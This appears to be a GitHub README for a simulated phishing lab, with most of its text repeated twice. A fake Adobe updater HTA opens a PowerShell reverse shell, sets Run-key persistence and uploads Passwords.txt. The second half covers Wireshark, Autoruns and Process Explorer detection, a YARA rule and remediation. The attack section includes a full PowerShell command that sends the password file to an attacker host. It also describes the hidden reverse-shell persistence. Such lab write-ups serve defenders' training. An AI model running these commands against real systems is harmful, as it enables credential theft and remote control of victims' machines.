WireRecon/RedTeam-BlueTeam-Intrusion-Detection-v1
GitHub: WireRecon/RedTeam-BlueTeam-Intrusion-Detection-v1
一个完整的红蓝对抗实验项目,演示从伪造Adobe更新程序钓鱼到持久化控制的全攻击链,以及如何用Wireshark、Autoruns等工具进行入侵检测分析。
Stars: 0 | Forks: 0
### AdobeUpdater 入侵实验:红队攻击 + 蓝队检测 v1

## 关于此实验 本次实操入侵模拟演示了*完整的攻击链* —— 从执行到后渗透 —— 随后使用 **Wireshark**、**Autoruns** 和 **Process Explorer** 等工具进行详细的检测和调查。 我从零开始构建了一切: - 伪造的 **Adobe Updater** 释放程序(带 VBScript 的 `.hta`) - 嵌入式 **Base64 编码 PowerShell** 用于反向 shell - **注册表持久化** 和隐蔽图标伪装 - 自定义 **Python 上传服务器** 以模拟数据渗漏 ## 技术概览 此模拟使用伪造的 **Adobe Updater UI**(`.hta`)进行部署: - 连接到远程 Netcat 监听器的 **PowerShell 反向 shell** - **注册表 Run 键持久化** - **隐蔽的 VBScript 执行** - **诱饵视觉界面** 以增强真实性 - **Base64 编码和逼真的图标伪装** 项目目录结构如下: ## 📁 项目结构 ``` . ├── payload/ # HTA payload and artifacts │ ├── AdobeUpdater.hta # Main dropper with embedded VBScript and UI │ ├── adobe.ico # Spoofed Adobe icon │ ├── adb1.png # Decoy loading screen │ └── .gitkeep ├── analysis/ │ └── screenshots/ # All demo screenshots ├── README.md ``` ## 工作原理 ## 演练分为两个视角: ### 💀 **红队:** 逐步攻击执行 1. **用户执行**伪装成合法 Adobe 更新程序的 `.hta` 负载。 2. 负载运行嵌入式 VBScript,该脚本: - **启动 PowerShell 反向 shell** - **添加 `Run` 键以实现持久化** - **显示虚假的下载进度条窗口以分散用户注意力** 3. **反向 shell 被**攻击者的 Netcat 监听器捕获。 - **攻击者浏览文件系统** - **发现并上传了 `Password.txt` 文件** ### 🛡️ **蓝队:** 检测和分类工作流 在模拟攻击后,我转换到防御者的视角,使用以下工具分析入侵: - **Autoruns:** 通过注册表 Run 键检测持久化 - **Process Explorer:** 跟踪 PowerShell 子进程 - **Wireshark:** 捕获反向 shell TCP 流量 #### 目标是展示 SOC 分析师如何发现并处理隐蔽但简单的攻击。 ## 演示演练 ### 1. 攻击者准备回连和文件渗漏 *在攻击者一侧,打开了两个终端 —— 一个用于捕获反向 shell,如图 1 所示,
另一个用于处理文件上传,如图 2 所示。*
(图 1)

在此终端中,于端口 443 上启动了一个 Netcat 监听器用于反向 shell。
(图 2)

在此终端中,攻击者在端口 8080 上启动了一个 Python 上传服务器。 ### 2. 伪造的 Adobe Updater *桌面上的恶意快捷方式伪装成真正的 Adobe 软件更新程序。*
(图 3)

*当受害者点击如图 3 所示的诱饵更新程序时,会出现一个带有虚假“关键安全更新”消息的窗口。
一旦点击 OK 按钮,连接就会建立回 Netcat 监听器,如图 6 所示*
(图 4)

(图 5)
 *为了增加逼真效果,显示了一个虚假进度条 以掩盖恶意活动。*
### 3. 负载执行与反向 shell 连接建立 *在图 6 中,我们可以看到攻击者成功捕获了反向 shell,并且现在已建立起从受害者机器到攻击者 Netcat 监听器的连接。 接下来,攻击者运行 `ls` 命令列出当前工作目录的内容。*
(图 6)

### 4. 攻击者浏览文件系统 *在图 7 中,攻击者开始使用 `cd` 命令退出当前目录,重复 `cd ..` 直到到达用户的主目录。 然后他们再次运行 `ls` 命令并发现了 Documents 目录,这是他们的目标。*
(图 7)

*图 8 显示攻击者使用 `cd` 命令进入 Documents 目录。*
(图 8)

*在图 9 中,我们看到攻击者已成功进入 Documents 文件夹。在里面,他们发现了一个名为 Passwords.txt 的文件。*
(图 9)

### 5. 攻击的第二阶段:上传文件 *现在攻击者已成功浏览文件系统并到达 Documents 目录,他们找到了 Passwords.txt 文件。 此时,他们准备开始攻击的第二阶段。他们几乎已经到达网络杀戮链的第 7 步 —— 目标行动 —— 但还没完全到位。* *在图 10 中,我们可以看到攻击者准备使用带有 PUT 方法的 PowerShell 命令将 Passwords.txt 文件上传到他们基于 Python 的上传服务器。*
(图 10)

这是将 `Passwords.txt` 文件上传到攻击者 Python 服务器的完整 PowerShell 命令: ``` powershell -c "Invoke-WebRequest -Uri http://192.168.78.129:8080/Passwords.txt -Method Put -InFile 'C:\Users\IEUser\Documents\Passwords.txt'" # ⚠️ 确保更改 IP 地址、端口号和文件路径以匹配你的攻击设置。 ``` ### 命令分解如下:
(图 12)

*接下来在图 13 中,在运行了图 10 中的 PowerShell 命令后,我们收到了响应 —— 命令行输出中显示了 `Passwords.txt` 文件。正如我们在图 12 中讨论的那样,文件夹现在显示两个文件,其中一个是 `Passwords.txt,` 确认上传成功。*
(图 13)

## 🛡️ 防御者视角:对受损 Windows 主机进行分类 现在我们已经从攻击者的视角追踪了攻击 —— 从点击伪造的 Adobe 更新程序到捕获反向 shell 和渗漏 `Passwords.txt` —— 让我们转换思路,设身处地为防御者着想。 下一节将介绍安全分析师如何使用 Wireshark、Autoruns 和 Process Explorer 等分析工具发现并响应此类行为。 在 **图 14** 中,我们有一个在攻击期间运行的 Wireshark 捕获。在此屏幕截图中,我们可以看到针对 `Passwords.txt` 文件发出的 `PUT` 请求 —— 表明可能通过 HTTP 进行了数据渗漏。
(图 14)

在 **图 15** 中,既然我们已确认发生了 PUT 请求,我们可以过滤捕获以将其隔离。为此,我们在 Wireshark 的显示过滤栏中输入以下内容 `http.request.method == "PUT"` 然后点击右上角的 **蓝色箭头** 应用过滤器。
(图 15)

在 **图 16** 中,我们看到只发出了一个 `PUT` 请求,这证实了我们之前的发现 —— 渗漏的文件是 `Passwords.txt`。
(图 16)

接下来,在 **图 17** 中,如果我们右键单击过滤后的数据包并选择 **Follow > HTTP Stream**(以蓝色突出显示)。这允许我们查看 HTTP 会话的完整负载并验证传输的内容。
(图 17)

在 **图 18** 中,跟踪 HTTP 流后,我们可以看到 `PUT` 请求的完整内容 —— 准确地暴露了攻击者渗漏了什么。我们还看到其他重要细节,例如服务器响应 `201 Created` 状态,确认上传成功。
`User-Agent` 标头显示上传是使用 `PowerShell` 发起的,而 `Server` 标头确认它是由 `Python 3.11.9 SimpleHTTP server,` 接收的,该服务器可能运行的是 Python 的内置 `http.server` 模块。内部主机通过端口 `8080` 使用像这样的非标准工具发送 `PUT` 请求,应该在数据包检查期间引起警惕。
(图 18)

### 通过 Autoruns 和注册表分析检测持久化 在本节中,我们将确定攻击者如何使用基于注册表的自动运行条目实现持久化。以下屏幕截图展示了使用 Sysinternals Autoruns 和 Windows 注册表编辑器的检测过程。 **图 19** 显示了一个可疑的自动运行条目,位于:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 该条目名为 `AdobeTaskHelper`,但它启动的是 `powershell.exe` 而不是合法的 Adobe 可执行文件。这是一个明显的危险信号。
没有已知的 Adobe 工具会通过 PowerShell 启动,而且其命名显然是为了混入受信任的供应商软件中。
(图 19)

接下来,在 **图 20** 中,我们可以右键单击 Autoruns 中的可疑条目并选择 **Jump to Entry** 以检查相应的注册表位置进行验证。
(图 20)

**图 21** 使用 **Regedit** 确认了完整的注册表键。`AdobeTaskHelper` 条目在启动时执行以下命令:
`powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command ...` 此 PowerShell 命令用于通过在系统启动时静默重新启动攻击者的反向 shell 负载来维持持久化。结合误导性的名称和隐蔽的执行,这是通过 PowerShell 伪装进行基于注册表持久化的典型示例。
(图 21)

### 使用 Process Explorer 进行进程检查 本节重点介绍使用 Sysinternals Process Explorer 观察到的可疑进程行为。 **图22** 显示了一个可疑的 `powershell.exe` 进程正在运行。每当我们看到 PowerShell 正在执行时,都值得调查。
(图 22)

**图 23** 深入展示了 `powershell.exe` 的进程属性。命令行显示 `-w hidden -nop -c`,表示隐藏窗口、无配置文件和内联命令,这是用于避免用户可见性的常见标志。负载打开一个到 `192.168.78.129:443` 的 `Net.Sockets.TCPClient`,将远程输入交给 `Invoke-Expression` (`iex`),并将命令输出发回给攻击者 —— 这是一个经典的交互式反向 shell。
(图 23)

**图 24** 显示了启动此进程的 **当前目录**,即 `C:\Users\IEUser\Downloads\Projects\Adobe_Demo_v1\`
(图 24)

接下来,**图 25** 显示,当我们跟踪 `图 24` 中的路径时,它指向 PowerShell 进程的工作目录以及文件资源管理器中的实际文件夹内容。该文件夹包含 Adobe 文件,包括名为 `AdobeUpdater.hta` 的快捷方式 -- 它被放置在用户的桌面上。此快捷方式是用户最初交互的对象,触发了一系列事件。这直观地证实了攻击是如何伪装成合法更新以及用户是如何被骗执行它的。
(图 25)

**图 26** 显示了同一进程的 **TCP/IP** 选项卡,确认它具有到以下地址的活动网络连接:`192.168.78.129:HTTPS`
这表明 PowerShell 进程正在维持实时连接 —— 支持反向 shell 回连的证据。
(图 26)

## 检测工程 开发了一个 YARA 规则来检测此实验中使用的 HTA 释放程序。 规则:`MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar` 检测范围: - HTA 应用程序标记 - WScript.Shell 使用 - 隐藏的 PowerShell 执行 - Run 键持久化 (HKCU\...\Run) - TCPClient 反向 shell 样式网络连接 完整的技术说明和规则: - [MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar](https://github.com/WireRecon/Detection-Engineering/blob/main/yara/MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar) - [AdobeUpdater_HTA_Dropper_Writeup.md](https://github.com/WireRecon/Detection-Engineering/blob/main/yara/docs/AdobeUpdater_HTA_Dropper_Writeup.md) ## MITRE ATT&CK 映射 | 技术 | ID | 描述 | |------------------:|:-----------|:-----------------------------------------------| | 初始访问 | T1204.002 | 用户执行 — 恶意文件 (HTA) | | 执行 | T1059.001 | PowerShell (内联单行命令) | | 持久化 | T1547.001 | 注册表 Run 键 / 启动文件夹 | | 防御规避 | T1218.005 | Mshta (.hta 的代理执行) | | 命令与控制 | T1071 | 应用层协议 (自定义 TCP C2) | ## 修复与建议 ## 立即清理 - **从磁盘中删除以下恶意文件:** - `AdobeUpdater.hta` - **更改以下用户的凭据** - `IEUser` - **移除基于注册表的持久化:** - 删除 Run 键条目: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeTaskHelper` ### 凭据响应 - **Passwords.txt 已被渗漏。** 该文件中列出的所有凭据必须被视为已泄露并立即更改。 - 审查日志以确认没有使用受损凭据进行的未授权登录。 - 确保对本地帐户和外部服务强制执行密码轮换策略。 - 调查环境中是否存在横向移动或在别处重用这些凭据的迹象。 ### 系统加固 - **阻止出站流量** 到攻击者 IP:`192.168.78.129`(或任何未来的模拟 IP)。 - **通过组策略或应用程序白名单限制 `.hta` 和 `.vbs` 文件的执行**。 - **在不需要的系统上禁用 Windows Script Host (WSH)**: - 设置以下注册表键: `HKLM\Software\Microsoft\Windows Script Host\Settings` `Enabled = 0` ## 已知局限性 (v1) 这个初始版本是一个基本但功能齐全的概念验证,专注于使用 HTA + PowerShell 进行 UI 欺骗和反向 shell 交付。虽然这些技术在设计上是初级的,但它们为正在开发的更高级负载提供了坚实的基础。 - Base64 编码在某些设置中存在可靠性问题 - 未包含 AMSI 绕过或规避层 - 持久化是基本的(仅注册表 Run 键) ## 🗋 备注 - 在使用默认设置的 Windows 10 上测试 - 避免在生产系统上运行 - 始终在隔离的实验室环境中使用

## 关于此实验 本次实操入侵模拟演示了*完整的攻击链* —— 从执行到后渗透 —— 随后使用 **Wireshark**、**Autoruns** 和 **Process Explorer** 等工具进行详细的检测和调查。 我从零开始构建了一切: - 伪造的 **Adobe Updater** 释放程序(带 VBScript 的 `.hta`) - 嵌入式 **Base64 编码 PowerShell** 用于反向 shell - **注册表持久化** 和隐蔽图标伪装 - 自定义 **Python 上传服务器** 以模拟数据渗漏 ## 技术概览 此模拟使用伪造的 **Adobe Updater UI**(`.hta`)进行部署: - 连接到远程 Netcat 监听器的 **PowerShell 反向 shell** - **注册表 Run 键持久化** - **隐蔽的 VBScript 执行** - **诱饵视觉界面** 以增强真实性 - **Base64 编码和逼真的图标伪装** 项目目录结构如下: ## 📁 项目结构 ``` . ├── payload/ # HTA payload and artifacts │ ├── AdobeUpdater.hta # Main dropper with embedded VBScript and UI │ ├── adobe.ico # Spoofed Adobe icon │ ├── adb1.png # Decoy loading screen │ └── .gitkeep ├── analysis/ │ └── screenshots/ # All demo screenshots ├── README.md ``` ## 工作原理 ## 演练分为两个视角: ### 💀 **红队:** 逐步攻击执行 1. **用户执行**伪装成合法 Adobe 更新程序的 `.hta` 负载。 2. 负载运行嵌入式 VBScript,该脚本: - **启动 PowerShell 反向 shell** - **添加 `Run` 键以实现持久化** - **显示虚假的下载进度条窗口以分散用户注意力** 3. **反向 shell 被**攻击者的 Netcat 监听器捕获。 - **攻击者浏览文件系统** - **发现并上传了 `Password.txt` 文件** ### 🛡️ **蓝队:** 检测和分类工作流 在模拟攻击后,我转换到防御者的视角,使用以下工具分析入侵: - **Autoruns:** 通过注册表 Run 键检测持久化 - **Process Explorer:** 跟踪 PowerShell 子进程 - **Wireshark:** 捕获反向 shell TCP 流量 #### 目标是展示 SOC 分析师如何发现并处理隐蔽但简单的攻击。 ## 演示演练 ### 1. 攻击者准备回连和文件渗漏 *在攻击者一侧,打开了两个终端 —— 一个用于捕获反向 shell,如图 1 所示,
另一个用于处理文件上传,如图 2 所示。*
(图 1)

在此终端中,于端口 443 上启动了一个 Netcat 监听器用于反向 shell。
(图 2)

在此终端中,攻击者在端口 8080 上启动了一个 Python 上传服务器。 ### 2. 伪造的 Adobe Updater *桌面上的恶意快捷方式伪装成真正的 Adobe 软件更新程序。*
(图 3)

*当受害者点击如图 3 所示的诱饵更新程序时,会出现一个带有虚假“关键安全更新”消息的窗口。
一旦点击 OK 按钮,连接就会建立回 Netcat 监听器,如图 6 所示*
(图 4)

(图 5)
 *为了增加逼真效果,显示了一个虚假进度条 以掩盖恶意活动。*
### 3. 负载执行与反向 shell 连接建立 *在图 6 中,我们可以看到攻击者成功捕获了反向 shell,并且现在已建立起从受害者机器到攻击者 Netcat 监听器的连接。 接下来,攻击者运行 `ls` 命令列出当前工作目录的内容。*
(图 6)

### 4. 攻击者浏览文件系统 *在图 7 中,攻击者开始使用 `cd` 命令退出当前目录,重复 `cd ..` 直到到达用户的主目录。 然后他们再次运行 `ls` 命令并发现了 Documents 目录,这是他们的目标。*
(图 7)

*图 8 显示攻击者使用 `cd` 命令进入 Documents 目录。*
(图 8)

*在图 9 中,我们看到攻击者已成功进入 Documents 文件夹。在里面,他们发现了一个名为 Passwords.txt 的文件。*
(图 9)

### 5. 攻击的第二阶段:上传文件 *现在攻击者已成功浏览文件系统并到达 Documents 目录,他们找到了 Passwords.txt 文件。 此时,他们准备开始攻击的第二阶段。他们几乎已经到达网络杀戮链的第 7 步 —— 目标行动 —— 但还没完全到位。* *在图 10 中,我们可以看到攻击者准备使用带有 PUT 方法的 PowerShell 命令将 Passwords.txt 文件上传到他们基于 Python 的上传服务器。*
(图 10)

这是将 `Passwords.txt` 文件上传到攻击者 Python 服务器的完整 PowerShell 命令: ``` powershell -c "Invoke-WebRequest -Uri http://192.168.78.129:8080/Passwords.txt -Method Put -InFile 'C:\Users\IEUser\Documents\Passwords.txt'" # ⚠️ 确保更改 IP 地址、端口号和文件路径以匹配你的攻击设置。 ``` ### 命令分解如下:
(图 11)
*在图 12 中,我们可以看到第二个终端正在端口 8080 上运行 Python 上传服务器,您会注意到它仍然处于空闲状态。对于此演示,包含 Python 脚本的文件夹已被打开并放置在屏幕底部。原因是:如果有任何东西被上传,我们会在这里实时看到它出现。目前,目录中只有 Python 脚本。*| 组件 | 用途 |
|---|---|
powershell -c |
在 PowerShell 中运行命令 |
Invoke-WebRequest |
发送 HTTP 请求;此处用于上传文件 |
-Uri |
目标 URL(您的 Python 监听器端点) |
-Method Put |
用于上传文件的 HTTP 方法 |
-InFile |
指定要上传的本地文件路径 |
(图 12)

*接下来在图 13 中,在运行了图 10 中的 PowerShell 命令后,我们收到了响应 —— 命令行输出中显示了 `Passwords.txt` 文件。正如我们在图 12 中讨论的那样,文件夹现在显示两个文件,其中一个是 `Passwords.txt,` 确认上传成功。*
(图 13)

## 🛡️ 防御者视角:对受损 Windows 主机进行分类 现在我们已经从攻击者的视角追踪了攻击 —— 从点击伪造的 Adobe 更新程序到捕获反向 shell 和渗漏 `Passwords.txt` —— 让我们转换思路,设身处地为防御者着想。 下一节将介绍安全分析师如何使用 Wireshark、Autoruns 和 Process Explorer 等分析工具发现并响应此类行为。 在 **图 14** 中,我们有一个在攻击期间运行的 Wireshark 捕获。在此屏幕截图中,我们可以看到针对 `Passwords.txt` 文件发出的 `PUT` 请求 —— 表明可能通过 HTTP 进行了数据渗漏。
(图 14)

在 **图 15** 中,既然我们已确认发生了 PUT 请求,我们可以过滤捕获以将其隔离。为此,我们在 Wireshark 的显示过滤栏中输入以下内容 `http.request.method == "PUT"` 然后点击右上角的 **蓝色箭头** 应用过滤器。
(图 15)

在 **图 16** 中,我们看到只发出了一个 `PUT` 请求,这证实了我们之前的发现 —— 渗漏的文件是 `Passwords.txt`。
(图 16)

接下来,在 **图 17** 中,如果我们右键单击过滤后的数据包并选择 **Follow > HTTP Stream**(以蓝色突出显示)。这允许我们查看 HTTP 会话的完整负载并验证传输的内容。
(图 17)

在 **图 18** 中,跟踪 HTTP 流后,我们可以看到 `PUT` 请求的完整内容 —— 准确地暴露了攻击者渗漏了什么。我们还看到其他重要细节,例如服务器响应 `201 Created` 状态,确认上传成功。
`User-Agent` 标头显示上传是使用 `PowerShell` 发起的,而 `Server` 标头确认它是由 `Python 3.11.9 SimpleHTTP server,` 接收的,该服务器可能运行的是 Python 的内置 `http.server` 模块。内部主机通过端口 `8080` 使用像这样的非标准工具发送 `PUT` 请求,应该在数据包检查期间引起警惕。
(图 18)

### 通过 Autoruns 和注册表分析检测持久化 在本节中,我们将确定攻击者如何使用基于注册表的自动运行条目实现持久化。以下屏幕截图展示了使用 Sysinternals Autoruns 和 Windows 注册表编辑器的检测过程。 **图 19** 显示了一个可疑的自动运行条目,位于:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 该条目名为 `AdobeTaskHelper`,但它启动的是 `powershell.exe` 而不是合法的 Adobe 可执行文件。这是一个明显的危险信号。
没有已知的 Adobe 工具会通过 PowerShell 启动,而且其命名显然是为了混入受信任的供应商软件中。
(图 19)

接下来,在 **图 20** 中,我们可以右键单击 Autoruns 中的可疑条目并选择 **Jump to Entry** 以检查相应的注册表位置进行验证。
(图 20)

**图 21** 使用 **Regedit** 确认了完整的注册表键。`AdobeTaskHelper` 条目在启动时执行以下命令:
`powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command ...` 此 PowerShell 命令用于通过在系统启动时静默重新启动攻击者的反向 shell 负载来维持持久化。结合误导性的名称和隐蔽的执行,这是通过 PowerShell 伪装进行基于注册表持久化的典型示例。
(图 21)

### 使用 Process Explorer 进行进程检查 本节重点介绍使用 Sysinternals Process Explorer 观察到的可疑进程行为。 **图22** 显示了一个可疑的 `powershell.exe` 进程正在运行。每当我们看到 PowerShell 正在执行时,都值得调查。
(图 22)

**图 23** 深入展示了 `powershell.exe` 的进程属性。命令行显示 `-w hidden -nop -c`,表示隐藏窗口、无配置文件和内联命令,这是用于避免用户可见性的常见标志。负载打开一个到 `192.168.78.129:443` 的 `Net.Sockets.TCPClient`,将远程输入交给 `Invoke-Expression` (`iex`),并将命令输出发回给攻击者 —— 这是一个经典的交互式反向 shell。
(图 23)

**图 24** 显示了启动此进程的 **当前目录**,即 `C:\Users\IEUser\Downloads\Projects\Adobe_Demo_v1\`
(图 24)

接下来,**图 25** 显示,当我们跟踪 `图 24` 中的路径时,它指向 PowerShell 进程的工作目录以及文件资源管理器中的实际文件夹内容。该文件夹包含 Adobe 文件,包括名为 `AdobeUpdater.hta` 的快捷方式 -- 它被放置在用户的桌面上。此快捷方式是用户最初交互的对象,触发了一系列事件。这直观地证实了攻击是如何伪装成合法更新以及用户是如何被骗执行它的。
(图 25)

**图 26** 显示了同一进程的 **TCP/IP** 选项卡,确认它具有到以下地址的活动网络连接:`192.168.78.129:HTTPS`
这表明 PowerShell 进程正在维持实时连接 —— 支持反向 shell 回连的证据。
(图 26)

## 检测工程 开发了一个 YARA 规则来检测此实验中使用的 HTA 释放程序。 规则:`MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar` 检测范围: - HTA 应用程序标记 - WScript.Shell 使用 - 隐藏的 PowerShell 执行 - Run 键持久化 (HKCU\...\Run) - TCPClient 反向 shell 样式网络连接 完整的技术说明和规则: - [MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar](https://github.com/WireRecon/Detection-Engineering/blob/main/yara/MAL_WIN_HTA_AdobeUpdater_Lab_Dropper.yar) - [AdobeUpdater_HTA_Dropper_Writeup.md](https://github.com/WireRecon/Detection-Engineering/blob/main/yara/docs/AdobeUpdater_HTA_Dropper_Writeup.md) ## MITRE ATT&CK 映射 | 技术 | ID | 描述 | |------------------:|:-----------|:-----------------------------------------------| | 初始访问 | T1204.002 | 用户执行 — 恶意文件 (HTA) | | 执行 | T1059.001 | PowerShell (内联单行命令) | | 持久化 | T1547.001 | 注册表 Run 键 / 启动文件夹 | | 防御规避 | T1218.005 | Mshta (.hta 的代理执行) | | 命令与控制 | T1071 | 应用层协议 (自定义 TCP C2) | ## 修复与建议 ## 立即清理 - **从磁盘中删除以下恶意文件:** - `AdobeUpdater.hta` - **更改以下用户的凭据** - `IEUser` - **移除基于注册表的持久化:** - 删除 Run 键条目: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeTaskHelper` ### 凭据响应 - **Passwords.txt 已被渗漏。** 该文件中列出的所有凭据必须被视为已泄露并立即更改。 - 审查日志以确认没有使用受损凭据进行的未授权登录。 - 确保对本地帐户和外部服务强制执行密码轮换策略。 - 调查环境中是否存在横向移动或在别处重用这些凭据的迹象。 ### 系统加固 - **阻止出站流量** 到攻击者 IP:`192.168.78.129`(或任何未来的模拟 IP)。 - **通过组策略或应用程序白名单限制 `.hta` 和 `.vbs` 文件的执行**。 - **在不需要的系统上禁用 Windows Script Host (WSH)**: - 设置以下注册表键: `HKLM\Software\Microsoft\Windows Script Host\Settings` `Enabled = 0` ## 已知局限性 (v1) 这个初始版本是一个基本但功能齐全的概念验证,专注于使用 HTA + PowerShell 进行 UI 欺骗和反向 shell 交付。虽然这些技术在设计上是初级的,但它们为正在开发的更高级负载提供了坚实的基础。 - Base64 编码在某些设置中存在可靠性问题 - 未包含 AMSI 绕过或规避层 - 持久化是基本的(仅注册表 Run 键) ## 🗋 备注 - 在使用默认设置的 Windows 10 上测试 - 避免在生产系统上运行 - 始终在隔离的实验室环境中使用
标签:Adobe 伪造更新, AI合规, ATT&CK 模拟, Autoruns, Base64 编码, DAST, DNS 反向解析, ESC8, HTA 恶意载荷, Netcat, OpenCanary, PowerShell 反向 Shell, Process Explorer, Python 服务器, VBScript, Wireshark, 免杀技术, 入侵仿真, 句柄查看, 后端开发, 图标欺骗, 恶意软件分析, 持久化攻击, 数据渗出模拟, 暴力破解检测, 注册表持久化, 社会工程学, 网络安全实验, 蓝队检测, 逆向工具, 钓鱼攻击模拟